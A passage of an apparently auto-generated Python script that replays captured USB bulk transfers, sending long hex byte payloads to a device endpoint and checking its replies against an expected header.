validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2963/2964\")\n # Generated from packet 2965/2966\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x59\\xC2\\x64\\x27\\x3B\\x09\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x9B\\x4F\\x2F\\x7C\\xD5\\x31\\xFD\\xFE\"\n b\"\\x85\\xCD\\xA9\\xAD\\x84\\x06\\x27\\x82\\x4F\\x6E\\xEC\\xE5\\x63\\x56\\xEF\\x0B\"\n b\"\\xB9\\xA9\\xB0\\x62\\xF9\\xB5\\xB0\\x30\\xEC\\xDB\\x6F\\x8D\\x10\\x7D\\xDF\\x0E\"\n b\"\\xB6\\x68\\xDF\\xC2\\x82\\x9F\\xD3\\x90\\x1F\\xA4\\xB8\\x46\\x3F\\x1C\\x18\\x61\"\n b\"\\x41\\x27\\x4A\\x15\\xA9\\x3D\\x3F\\x77\\x36\\x35\\xF6\\x49\\x39\\x1A\\xE6\\x69\"\n b\"\\x31\\xF0\\x3D\\xA3\\xE5\\xD4\\x76\\x7A\\xFE\\x15\\xA7\\xC8\\x13\\x7F\\x0D\\xD6\"\n b\"\\xB3\\xB5\\x1F\\x02\\x1F\\xA2\\xC3\\xEF\\x6A\\xE2\\x97\\xCA\\x90\\xF0\\xC6\\x55\"\n b\"\\xB5\\x84\\x77\\x3E\\x11\\x0F\\xAE\\x60\\x3D\\x77\\x9B\\xD7\\x7E\\xCE\\x92\\x7F\"\n b\"\\x3A\\x22\\x74\\x87\\x57\\xA5\\xD5\\x12\\x42\\x5C\\xEA\\xF3\\x9B\\x6C\\x1B\\x9D\"\n b\"\\x35\\xEA\\x4C\\x68\\x61\\x51\\x44\\x8A\\x36\\xCF\\xDD\\x45\\x89\\x0E\\x34\\x57\"\n b\"\\x1D\\x89\\x38\\x8B\\xD5\\xDE\\x15\\xBD\\xEF\\x3D\\x92\\xEE\\x69\\xE3\\x27\\xB6\"\n b\"\\x60\\xB2\\x41\\xA0\\x79\\xCC\\xE6\\x29\\x5A\\x68\\x40\\x6B\\x01\\x00\\x85\\x82\"\n b\"\\xC9\\xA5\\xBF\\x5C\\x03\\xFF\\x29\\x1B\\xEA\\x83\\x58\\xED\\xD4\\x4E\\x17\\x7C\"\n b\"\\x8C\\xD2\\x04\\x0D\\x34\\xFE\\x0E\\x34\\xE3\\xB9\\x7C\\x4C\\x1F\\x32\\x42\\x6D\"\n b\"\\xA3\\xDC\\xC8\\xEF\\x55\\x53\\xA1\\x5A\\x95\\xBD\\x8D\\x2B\\xD9\\x79\\x3E\\x33\"\n b\"\\xE4\\x2D\\x2A\\xBB\\x45\\xC7\\x59\\xEB\\x71\\xF6\\xF3\\x12\\x02\\xD8\\x0E\\xEB\"\n b\"\\x28\\xE2\\x19\\x64\\x17\\xF2\\x56\\x93\\x38\\xFD\\xEB\\x88\")\n # Generated from packet 2967/2968\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2967/2968\")\n # Generated from packet 2969/2970\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x97\\x92\\x6A\\x33\\x32\\x23\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x09\\xAB\\x85\\x05\\x31\\x8B\\x0B\\xDE\"\n b\"\\xCE\\xD4\\x62\\x9E\\xD2\\xD4\\x30\\x8B\\xBC\\x0B\\x8D\\x77\\x1A\\xBB\\x0E\\xD1\"\n b\"\\x0F\\xBB\\xC2\\xE5\\xF8\\xB7\\x90\\x78\\xC3\\xDC\\x46\\x58\\x7B\\x7C\\x61\\x26\"\n b\"\\x40\\x2E\\x15\\xCE\\x5A\\x5B\\x77\\x51\\x52\\x92\\x49\\x5E\\x7D\\x82\\x69\\x56\"\n b\"\\x97\\x59\\xA3\\x82\\xB3\\x12\\x7A\\x99\\x72\\xC3\\xC8\\x74\\x18\\x69\\xD6\\xD4\"\n b\"\\xD2\\x7B\\x02\\x78\\xC5\\xA7\\xEF\\x0D\\x85\\xF3\\xCA\\xF7\\x97\\xA2\\x55\\xD2\"\n b\"\\xE3\\x13\\x3E\\x76\\x68\\xCA\\x60\\x5A\\x10\\xFF\\xD7\\x19\\xA9\\xF6\\x7F\\x5D\"\n b\"\\x45\\x10\\x87\\x30\\xC2\\xB1\\x12\\x25\\x3B\\x8E\\xF3\\xFC\\x0B\\x7F\\x9D\\x52\"\n b\"\\x8D\\x28\\x68\\x06\\x36\\x20\\x8A\\x51\\xA8\\xB9\\x45\\xEE\\x69\\x50\\x57\\x7A\"\n b\"\\xEE\\x5C\\x8B\\xB2\\xB9\\x71\\xBD\\x88\\x5A\\xF6\\xEE\\x0E\\x84\\x43\\xB6\\x07\"\n b\"\\xD5\\x25\\xA0\\x1E\\xAB\\x82\\x29\\x3D\\x0F\\x24\\x6B\\x66\\x67\\xE1\\x82\\xAE\"\n b\"\\xC2\\xDB\\x5C\\x64\\x98\\x4D\\x1B\\x8D\\xE4\\x3C\\xED\\xB3\\x29\\x73\\x7C\\xEB\"\n b\"\\xB5\\x60\\x0D\\x53\\x99\\x6A\\x34\\x84\\xDE\\x18\\x4C\\x78\\x55\\x26\\x6D\\xC4\"\n b\"\\xBB\\xAC\\xEF\\x32\\x34\\xC5\\x5A\\xF2\\xDA\\xE9\\x2B\\xBE\\x1E\\x5A\\x33\\x83\"\n b\"\\x4A\\x4E\\xBB\\x22\\xA0\\x3D\\xEB\\x16\\x91\\x97\\x12\\x65\\xBF\\x6A\\xEB\\x4F\"\n b\"\\x85\\x7D\\x64\\x70\\x95\\x32\\x93\\x5F\\x9A\\x8F\\x88\\x87\\x2C\\x5C\\xE6\\x78\"\n b\"\\x65\\x15\\x62\\x6F\\xEA\\x14\\x58\\x28\\x4C\\x14\\xCE\\xF5\")\n # Generated from packet 2971/2972\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2971/2972\")\n # Generated from packet 2973/2974\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xC5\\x63\\x78\\x0F\\x9B\\x56\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x9E\\x6F\\x49\\x3C\\x3A\\x8A\\x6B\\x66\"\n b\"\\x52\\x4F\\x82\\xAE\\xF7\\x75\\x5C\\x64\\xAD\\xE3\\x1B\\x8D\\xD1\\x92\\xED\\xB3\"\n b\"\\x1C\\xDD\\x7C\\xEB\\x80\\xCE\\x0D\\x53\\xAC\\xC4\\x34\\x84\\xEB\\xB6\\x4C\\x78\"\n b\"\\x60\\x88\\x6D\\xC4\\x8E\\x02\\xEF\\x32\\x01\\x6B\\x5A\\xF2\\xEF\\x47\\x2B\\xBE\"\n b\"\\x2B\\xF4\\x33\\x83\\x7F\\xE0\\xBB\\x22\\x95\\x93\\xEB\\x16\\xA4\\x39\\x12\\x65\"\n b\"\\x8A\\xC4\\xEB\\x4F\\xB0\\xD3\\x64\\x70\\xA0\\x9C\\x93\\x5F\\xAF\\x21\\x88\\x87\"\n b\"\\x19\\xF2\\xE6\\x78\\x50\\xBB\\x62\\x6F\\xDF\\xBA\\x58\\x28\\x79\\xBA\\xCE\\xF5\"\n b\"\\x81\\x5E\\x3A\\xC8\\x5E\\xF4\\xFF\\x1C\\x57\\x4C\\xE6\\x41\\x0D\\x9F\\x70\\xEE\"\n b\"\\x48\\x62\\xCB\\x3D\\x5B\\xF5\\xDF\\x87\\x51\\xC9\\x89\\xD9\\xE9\\xA9\\xBC\\xFA\"\n b\"\\x70\\xE3\\x7C\\x14\\xEA\\x67\\xB0\\x79\\xFF\\xF0\\x9C\\x8F\\xD7\\xD9\\xB4\\x7D\"\n b\"\\xF4\\xF1\\x1E\\x8C\\x01\\xAB\\xB9\\x5F\\x13\\x62\\xB7\\x51\\x2F\\x6C\\xFD\\xAC\"\n b\"\\xC4\\x6D\\xBE\\xBB\\xDC\\xEF\\xCC\\x35\\x6D\\x6A\\x64\\xA8\\xC9\\xDD\\xAF\\xA3\"\n b\"\\xC7\\x49\\xA1\\x09\\x93\\xA7\\x5E\\x53\\xDB\\x2A\\x03\\x9D\\xD9\\x11\\x7C\\xEB\"\n b\"\\xB6\\x79\\x15\\x12\\xAD\\x80\\x52\\x04\\x82\\x1B\\xD6\\x33\\xE0\\x50\\x63\\x5A\"\n b\"\\xFC\\x97\\xE2\\x5D\\x89\\xCB\\xA3\\x08\\x90\\x59\\x93\\xF4\\xFB\\xA6\\x8A\\x41\"\n b\"\\x19\\x12\\xDB\\x12\\x4D\\x60\\x67\\xA2\\x3A\\xC7\\xD3\\xFD\\x39\\x55\\x1A\\x02\"\n b\"\\xFE\\xC6\\xD5\\x1C\\x3C\\x0B\\x08\\x4A\\x30\\xFA\\x99\\x36\")\n # Generated from packet 2975/2976\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2975/2976\")\n # Generated from packet 2977/2978\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x0B\\x33\\x76\\x1B\\x61\\x6B\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x7E\\xC5\\x2C\\x69\\x2A\\x1D\\x44\\x8A\"\n b\"\\x7D\\x83\\xDD\\x45\\xC2\\x42\\x34\\x57\\x56\\xC5\\x38\\x8B\\x9E\\x92\\x15\\xBD\"\n b\"\\xA4\\x71\\x92\\xEE\\x22\\xAF\\x27\\xB6\\x2B\\xFE\\x41\\xA0\\x32\\x80\\xE6\\x29\"\n b\"\\x11\\x24\\x40\\x6B\\x4A\\x4C\\x85\\x82\\x82\\xE9\\xBF\\x5C\\x48\\xB3\\x29\\x1B\"\n b\"\\xA1\\xCF\\x58\\xED\\x9F\\x02\\x17\\x7C\\xC7\\x9E\\x04\\x0D\\x7F\\xB2\\x0E\\x34\"\n b\"\\xA8\\xF5\\x7C\\x4C\\x54\\x7E\\x42\\x6D\\xE8\\x90\\xC8\\xEF\\x1E\\x1F\\xA1\\x5A\"\n b\"\\xDE\\xF1\\x8D\\x2B\\x92\\x35\\x3E\\x33\\xAF\\x61\\x2A\\xBB\\x0E\\x8B\\x59\\xEB\"\n b\"\\x3A\\xBA\\xF3\\x12\\x49\\x94\\x0E\\xEB\\x63\\xAE\\x19\\x64\\x5C\\xBE\\x56\\x93\"\n b\"\\x73\\xB1\\xEB\\x88\\xAB\\x07\\x38\\xE6\\x54\\x4E\\x71\\x62\\x43\\xC1\\x70\\x58\"\n b\"\\x04\\x67\\x70\\xCE\\xD9\\x9F\\x94\\x3A\\xE4\\x40\\x3E\\xFF\\x30\\x49\\x86\\xE6\"\n b\"\\x6D\\x13\\x55\\x70\\xC2\\x56\\xA8\\xCB\\x11\\x45\\x3F\\xDF\\xAB\\x4F\\x03\\x89\"\n b\"\\xF5\\xF7\\x63\\xBC\\xD6\\x6E\\x29\\x7C\\x38\\xF4\\xAD\\xB0\\x55\\xE1\\x3A\\x9C\"\n b\"\\xA3\\xC9\\x13\\xB4\\x51\\xEA\\x3B\\x1E\\xA0\\x1F\\x61\\xB9\\x73\\x0D\\xA8\\xB7\"\n b\"\\x7D\\x31\\xA6\\xFD\\x80\\xDA\\xA7\\xBE\\x97\\xC2\\x25\\xCC\\x19\\x73\\xA0\\x64\"\n b\"\\x84\\xD7\\x17\\xAF\\x8F\\xD9\\x83\\xA1\\x25\\x8D\\x6D\\x5E\\x7F\\xC5\\xE0\\x03\"\n b\"\\xB1\\xC7\\xDB\\x7C\\xC7\\xA8\\xB3\\x15\\x3E\\xB3\\x4A\\x52\\x28\\x9C\\xD1\\xD6\"\n b\"\\x1F\\xFE\\x9A\\x63\\x76\\xE2\\x5D\\xE2\\x71\\x97\\x01\\xA3\")\n # Generated from packet 2979/2980\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2979/2980\")\n # Generated from packet 2981/2982\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x61\\x81\\x5D\\x77\\x40\\x47\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x41\\x35\\x5B\\xE7\\x61\\xBE\\xD1\\x3D\"\n b\"\\xAB\\x6A\\xF5\\x76\\x72\\x71\\x34\\xA7\\xC0\\x9C\\x5E\\x0D\\xDE\\x3C\\x94\\x1F\"\n b\"\\x0A\\x90\\x83\\xC3\\xE7\\xE5\\xC3\\x97\\xC2\\x1F\\xD1\\xC6\\x5D\\x3A\\xA5\\x77\"\n b\"\\x36\\x9E\\x2E\\xAE\\x68\\xB2\\x56\\x9B\\xDF\\xF1\\xEF\\x92\\x77\\xB5\\x03\\x74\"\n b\"\\x8F\\xD8\\x84\\xD5\\x1A\\xCD\\x7D\\xEA\\xFB\\x14\\x4D\\x1B\\x95\\xBA\\xCB\\x4C\"\n b\"\\x60\\xEE\\x70\\x44\\x82\\xB9\\xEE\\xDD\\x4D\\x06\\x2F\\x34\\x5F\\x92\\xA8\\x38\"\n b\"\\x83\\x5A\\xFF\\x15\\xB5\\x60\\x1C\\x92\\xE6\\xE6\\xC2\\x27\\xBE\\xEF\\x93\\x41\"\n b\"\\xA8\\xF6\\xED\\xE6\\x21\\xD5\\x49\\x40\\x63\\x8E\\x21\\x85\\x8A\\x46\\x84\\xBF\"\n b\"\\x54\\x8C\\xDE\\x29\\x13\\x65\\xA2\\x58\\xE5\\x5B\\x6F\\x17\\x74\\x03\\xF3\\x04\"\n b\"\\x05\\xBB\\xDF\\x0E\\x3C\\x6C\\x98\\x7C\\x44\\x90\\x13\\x42\\x65\\x2C\\xFD\\xC8\"\n b\"\\xE7\\xDA\\x72\\xA1\\x52\\x1A\\x9C\\x8D\\x23\\x56\\x58\\x3E\\x3B\\x6B\\x0C\\x2A\"\n b\"\\xB3\\xCA\\xE6\\x59\\xE3\\xFE\\xD7\\xF3\\x1A\\x8D\\xF9\\x0E\\xE3\\xA7\\xC3\\x19\"\n b\"\\x6C\\x98\\xD3\\x56\\x9B\\xB7\\xDC\\xEB\\x80\\x6F\\x6A\\x38\\xEE\\x90\\x23\\x71\"\n b\"\\x6A\\x87\\xAC\\x70\\x50\\xC0\\x0A\\x70\\xC6\\x1D\\xF2\\x94\\x32\\x20\\x2D\\x3E\"\n b\"\\xF7\\xF4\\x24\\x86\\xEE\\xA9\\x7E\\x55\\x78\\x06\\x3B\\xA8\\xC3\\xD5\\x28\\x3F\"\n b\"\\xD7\\x6F\\x22\\x03\\x81\\x31\\x9A\\x63\\xB4\\x12\\x03\\x29\\x74\\xFC\\x99\\xAD\"\n b\"\\xB8\\x91\\x8C\\x3A\\x94\\x67\\xA4\\x13\\xBC\\x95\\x87\\x3B\")\n # Generated from packet 2983/2984\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2983/2984\")\n # Generated from packet 2985/2986\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xAF\\xD1\\x53\\x63\\x84\\x2F\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xF0\\x1C\\x36\\x9A\\x47\\xFC\\xEF\\x92\"\n b\"\\xEF\\xB8\\x03\\x74\\x17\\xD5\\x84\\xD5\\x82\\xC0\\x7D\\xEA\\x63\\x19\\x4D\\x1B\"\n b\"\\x0D\\xB7\\xCB\\x4C\\xF8\\xE3\\x70\\x44\\x1A\\xB4\\xEE\\xDD\\xD5\\x0B\\x2F\\x34\"\n b\"\\xC7\\x9F\\xA8\\x38\\x1B\\x57\\xFF\\x15\\x2D\\x6D\\x1C\\x92\\x7E\\xEB\\xC2\\x27\"\n b\"\\x26\\xE2\\x93\\x41\\x30\\xFB\\xED\\xE6\\xB9\\xD8\\x49\\x40\\xFB\\x83\\x21\\x85\"\n b\"\\x12\\x4B\\x84\\xBF\\xCC\\x81\\xDE\\x29\\x8B\\x68\\xA2\\x58\\x7D\\x56\\x6F\\x17\"\n b\"\\xEC\\x0E\\xF3\\x04\\x9D\\xB6\\xDF\\x0E\\xA4\\x61\\x98\\x7C\\xDC\\x9D\\x13\\x42\"\n b\"\\xFD\\x21\\xFD\\xC8\\x7F\\xD7\\x72\\xA1\\xCA\\x17\\x9C\\x8D\\xBB\\x5B\\x58\\x3E\"\n b\"\\xA3\\x66\\x0C\\x2A\\x2B\\xC7\\xE6\\x59\\x7B\\xF3\\xD7\\xF3\\x82\\x80\\xF9\\x0E\"\n b\"\\x7B\\xAA\\xC3\\x19\\xF4\\x95\\xD3\\x56\\x03\\xBA\\xDC\\xEB\\x18\\x62\\x6A\\x38\"\n b\"\\x76\\x9D\\x23\\x71\\xF2\\x8A\\xAC\\x70\\xC8\\xCD\\x0A\\x70\\x5E\\x10\\xF2\\x94\"\n b\"\\xAA\\x2D\\x2D\\x3E\\x6F\\xF9\\x24\\x86\\x76\\xA4\\x7E\\x55\\xE0\\x0B\\x3B\\xA8\"\n b\"\\x5B\\xD8\\x28\\x3F\\x4F\\x62\\x22\\x03\\x19\\x3C\\x9A\\x63\\x2C\\x1F\\x03\\x29\"\n b\"\\xEC\\xF1\\x99\\xAD\\x20\\x9C\\x8C\\x3A\\x0C\\x6A\\xA4\\x13\\x24\\x98\\x87\\x3B\"\n b\"\\x8E\\x69\\x72\\x61\\x29\\xBA\\x60\\xA8\\x27\\xB4\\x5C\\xA6\\x6D\\x49\\xB7\\xA7\"\n b\"\\x2E\\x5E\\xAF\\x25\\x5C\\xD0\\x1E\\xA0\\xF4\\x4D\\xBA\\x17\\x3F\\x46\\xB4\\x83\"\n b\"\\x31\\xEC\\xE0\\x6D\\xCE\\xB6\\xA8\\xE0\\x93\\x78\\xAA\\xDB\")\n # Generated from packet 2987/2988\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2987/2988\")\n # Generated from packet 2989/2990\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xFD\\x20\\x41\\x5F\\xC6\\x63\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xE1\\xDA\\x9F\\xEF\\x5D\\x21\\xDD\\xC7\"\n b\"\\x8E\\x75\\x98\\x62\\xE6\\xC6\\xA5\\x3F\\x27\\x75\\x87\\x14\\x6C\\x18\\xF3\\x3B\"\n b\"\\xE4\\x04\\x2A\\xFC\\xB5\\x23\\x7D\\xB2\\xC8\\x91\\xFE\\xE2\\x34\\xC5\\xAD\\xE3\"\n b\"\\xFF\\x4B\\x82\\x28\\x97\\x80\\xE5\\x04\\xAF\\x83\\x0B\\xDE\\x50\\xDC\\x62\\x9E\"\n b\"\\x4C\\xDC\\x30\\x8B\\x22\\x03\\x8D\\x77\\x84\\xB3\\x0E\\xD1\\x91\\xB3\\xC2\\xE5\"\n b\"\\x66\\xBF\\x90\\x78\\x5D\\xD4\\x46\\x58\\xE5\\x74\\x61\\x26\\xDE\\x26\\x15\\xCE\"\n b\"\\xC4\\x53\\x77\\x51\\xCC\\x9A\\x49\\x5E\\xE3\\x8A\\x69\\x56\\x09\\x51\\xA3\\x82\"\n b\"\\x2D\\x1A\\x7A\\x99\\xEC\\xCB\\xC8\\x74\\x86\\x61\\xD6\\xD4\\x4C\\x73\\x02\\x78\"\n b\"\\x5B\\xAF\\xEF\\x0D\\x1B\\xFB\\xCA\\xF7\\x09\\xAA\\x55\\xD2\\x7D\\x1B\\x3E\\x76\"\n b\"\\xF6\\xC2\\x60\\x5A\\x8E\\xF7\\xD7\\x19\\x37\\xFE\\x7F\\x5D\\xDB\\x18\\x87\\x30\"\n b\"\\x5C\\xB9\\x12\\x25\\xA5\\x86\\xF3\\xFC\\x95\\x77\\x9D\\x52\\x13\\x20\\x68\\x06\"\n b\"\\xA8\\x28\\x8A\\x51\\x36\\xB1\\x45\\xEE\\xF7\\x58\\x57\\x7A\\x70\\x54\\x8B\\xB2\"\n b\"\\x27\\x79\\xBD\\x88\\xC4\\xFE\\xEE\\x0E\\x1A\\x4B\\xB6\\x07\\x4B\\x2D\\xA0\\x1E\"\n b\"\\x35\\x8A\\x29\\x3D\\x91\\x2C\\x6B\\x66\\xF9\\xE9\\x82\\xAE\\x5C\\xD3\\x5C\\x64\"\n b\"\\x06\\x45\\x1B\\x8D\\x7A\\x34\\xED\\xB3\\xB7\\x7B\\x7C\\xEB\\x2B\\x68\\x0D\\x53\"\n b\"\\x07\\x62\\x34\\x84\\x40\\x10\\x4C\\x78\\xCB\\x2E\\x6D\\xC4\\x25\\xA4\\xEF\\x32\"\n b\"\\xAA\\xCD\\x5A\\xF2\\x44\\xE1\\x2B\\xBE\\x80\\x52\\x33\\x83\")\n # Generated from packet 2991/2992\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2991/2992\")\n # Generated from packet 2993/2994\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x33\\x70\\x4F\\x4B\\xC3\\x1D\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xCA\\xBF\\x75\\xBC\\xF0\\xBF\\x92\\xEE\"\n b\"\\x76\\x61\\x27\\xB6\\x7F\\x30\\x41\\xA0\\x66\\x4E\\xE6\\x29\\x45\\xEA\\x40\\x6B\"\n b\"\\x1E\\x82\\x85\\x82\\xD6\\x27\\xBF\\x5C\\x1C\\x7D\\x29\\x1B\\xF5\\x01\\x58\\xED\"\n b\"\\xCB\\xCC\\x17\\x7C\\x93\\x50\\x04\\x0D\\x2B\\x7C\\x0E\\x34\\xFC\\x3B\\x7C\\x4C\"\n b\"\\x00\\xB0\\x42\\x6D\\xBC\\x5E\\xC8\\xEF\\x4A\\xD1\\xA1\\x5A\\x8A\\x3F\\x8D\\x2B\"\n b\"\\xC6\\xFB\\x3E\\x33\\xFB\\xAF\\x2A\\xBB\\x5A\\x45\\x59\\xEB\\x6E\\x74\\xF3\\x12\"\n b\"\\x1D\\x5A\\x0E\\xEB\\x37\\x60\\x19\\x64\\x08\\x70\\x56\\x93\\x27\\x7F\\xEB\\x88\"\n b\"\\xFF\\xC9\\x38\\xE6\\x00\\x80\\x71\\x62\\x17\\x0F\\x70\\x58\\x50\\xA9\\x70\\xCE\"\n b\"\\x8D\\x51\\x94\\x3A\\xB0\\x8E\\x3E\\xFF\\x64\\x87\\x86\\xE6\\x39\\xDD\\x55\\x70\"\n b\"\\x96\\x98\\xA8\\xCB\\x45\\x8B\\x3F\\xDF\\xFF\\x81\\x03\\x89\\xA1\\x39\\x63\\xBC\"\n b\"\\x82\\xA0\\x29\\x7C\\x6C\\x3A\\xAD\\xB0\\x01\\x2F\\x3A\\x9C\\xF7\\x07\\x13\\xB4\"\n b\"\\x05\\x24\\x3B\\x1E\\xF4\\xD1\\x61\\xB9\\x27\\xC3\\xA8\\xB7\\x29\\xFF\\xA6\\xFD\"\n b\"\\xD4\\x14\\xA7\\xBE\\xC3\\x0C\\x25\\xCC\\x4D\\xBD\\xA0\\x64\\xD0\\x19\\x17\\xAF\"\n b\"\\xDB\\x17\\x83\\xA1\\x71\\x43\\x6D\\x5E\\x2B\\x0B\\xE0\\x03\\xE5\\x09\\xDB\\x7C\"\n b\"\\x93\\x66\\xB3\\x15\\x6A\\x7D\\x4A\\x52\\x7C\\x52\\xD1\\xD6\\x4B\\x30\\x9A\\x63\"\n b\"\\x22\\x2C\\x5D\\xE2\\x25\\x59\\x01\\xA3\\x70\\x40\\x93\\x93\\x8C\\x2B\\x6C\\x8A\"\n b\"\\x39\\xC9\\xD8\\xDB\\x6A\\x9D\\xAA\\x67\\xDA\\xEA\\x0D\\xD3\")\n # Generated from packet 2995/2996\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2995/2996\")\n # Generated from packet 2997/2998\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x8B\\x5D\\xDB\\xF0\\xB1\\x51\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x62\\x67\\x92\\xD1\\x11\\xD4\\x35\\xC2\"\n b\"\\xF4\\x37\\x43\\x04\\xD2\\x5F\\x25\\x1B\\xEF\\x08\\x48\\x27\\x56\\xA1\\xD8\\x91\"\n b\"\\xE9\\xF8\\x83\\x8B\\xE9\\x51\\xFF\\xA9\\xE8\\x17\\xEE\\x68\\x1B\\xAC\\x87\\x39\"\n b\"\\x43\\xD5\\xEE\\x85\\x7B\\xF7\\xC7\\x56\\x2F\\xB2\\x62\\x3E\\x9C\\x8F\\x3F\\xFF\"\n b\"\\x2F\\xAD\\x14\\xB4\\x42\\xD9\\x3B\\x3C\\x5E\\x00\\xFC\\x6D\\x79\\x57\\xB2\\x10\"\n b\"\\xCB\\xD4\\xE2\\xEC\\x9F\\x87\\xE3\\x27\\x11\\xA8\\x28\\x4F\\xDA\\xCF\\x04\\x77\"\n b\"\\xD9\\x21\\xDE\\x88\\x86\\x48\\x9E\\x94\\x86\\x1A\\x8B\\xFA\\x59\\xA7\\x77\\x5C\"\n b\"\\xE9\\x24\\xD1\\x49\\xE9\\xE8\\xE5\\xBE\\xE5\\xBA\\x78\\x85\\x8E\\x6C\\x58\\x3D\"\n b\"\\x2E\\x4B\\x26\\x06\\x7C\\x3F\\xCE\\x1C\\x09\\x5D\\x51\\x14\\xC0\\x63\\x5E\\x3B\"\n b\"\\xD0\\x43\\x56\\xD1\\x0B\\x89\\x82\\xF5\\x40\\x50\\x99\\x34\\x91\\xE2\\x74\\x5E\"\n b\"\\x3B\\xFC\\xD4\\x94\\x29\\x28\\x78\\x83\\xF5\\xC5\\x0D\\xC3\\xA1\\xE0\\xF7\\xD1\"\n b\"\\xF0\\x7F\\xD2\\xA5\\x41\\x14\\x76\\x2E\\x98\\x4A\\x5A\\x56\\xAD\\xFD\\x19\\xEF\"\n b\"\\xA4\\x55\\x5D\\x03\\x42\\xAD\\x30\\x84\\xE3\\x38\\x25\\x7D\\xDC\\xD9\\xFC\\x4D\"\n b\"\\x2D\\xB7\\x52\\xCB\\x7A\\x42\\x06\\x70\\x72\\xA0\\x51\\xEE\\xEB\\x6F\\xEE\\x2F\"\n b\"\\x02\\x7D\\x7A\\xA8\\x0E\\xA1\\xB2\\xFF\\x23\\x97\\x88\\x1C\\xA4\\xC4\\x0E\\xC2\"\n b\"\\x11\\x9C\\x07\\x93\\x77\\x8A\\x1E\\xED\\xD0\\x03\\x3D\\x49\\x76\\x41\\x66\\x21\"\n b\"\\xB3\\xA8\\xAE\\x84\\x89\\x76\\x64\\xDE\\x1F\\x31\\x8D\\xA2\")\n # Generated from packet 2999/3000\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2999/3000\")\n # Generated from packet 3001/3002\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x45\\x0D\\xD5\\xE4\\xA7\\x1D\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xD1\\xFA\\x8A\\xF2\\x08\\xEE\\x1B\\x9D\"\n b\"\\xA6\\x68\\x4C\\x68\\xF2\\xD3\\x44\\x8A\\xA5\\x4D\\xDD\\x45\\x1A\\x8C\\x34\\x57\"\n b\"\\x8E\\x0B\\x38\\x8B\\x46\\x5C\\x15\\xBD\\x7C\\xBF\\x92\\xEE\\xFA\\x61\\x27\\xB6\"\n b\"\\xF3\\x30\\x41\\xA0\\xEA\\x4E\\xE6\\x29\\xC9\\xEA\\x40\\x6B\\x92\\x82\\x85\\x82\"\n b\"\\x5A\\x27\\xBF\\x5C\\x90\\x7D\\x29\\x1B\\x79\\x01\\x58\\xED\\x47\\xCC\\x17\\x7C\"\n b\"\\x1F\\x50\\x04\\x0D\\xA7\\x7C\\x0E\\x34\\x70\\x3B\\x7C\\x4C\\x8C\\xB0\\x42\\x6D\"\n b\"\\x30\\x5E\\xC8\\xEF\\xC6\\xD1\\xA1\\x5A\\x06\\x3F\\x8D\\x2B\\x4A\\xFB\\x3E\\x33\"\n b\"\\x77\\xAF\\x2A\\xBB\\xD6\\x45\\x59\\xEB\\xE2\\x74\\xF3\\x12\\x91\\x5A\\x0E\\xEB\"\n b\"\\xBB\\x60\\x19\\x64\\x84\\x70\\x56\\x93\\xAB\\x7F\\xEB\\x88\\x73\\xC9\\x38\\xE6\"\n b\"\\x8C\\x80\\x71\\x62\\x9B\\x0F\\x70\\x58\\xDC\\xA9\\x70\\xCE\\x01\\x51\\x94\\x3A\"\n b\"\\x3C\\x8E\\x3E\\xFF\\xE8\\x87\\x86\\xE6\\xB5\\xDD\\x55\\x70\\x1A\\x98\\xA8\\xCB\"\n 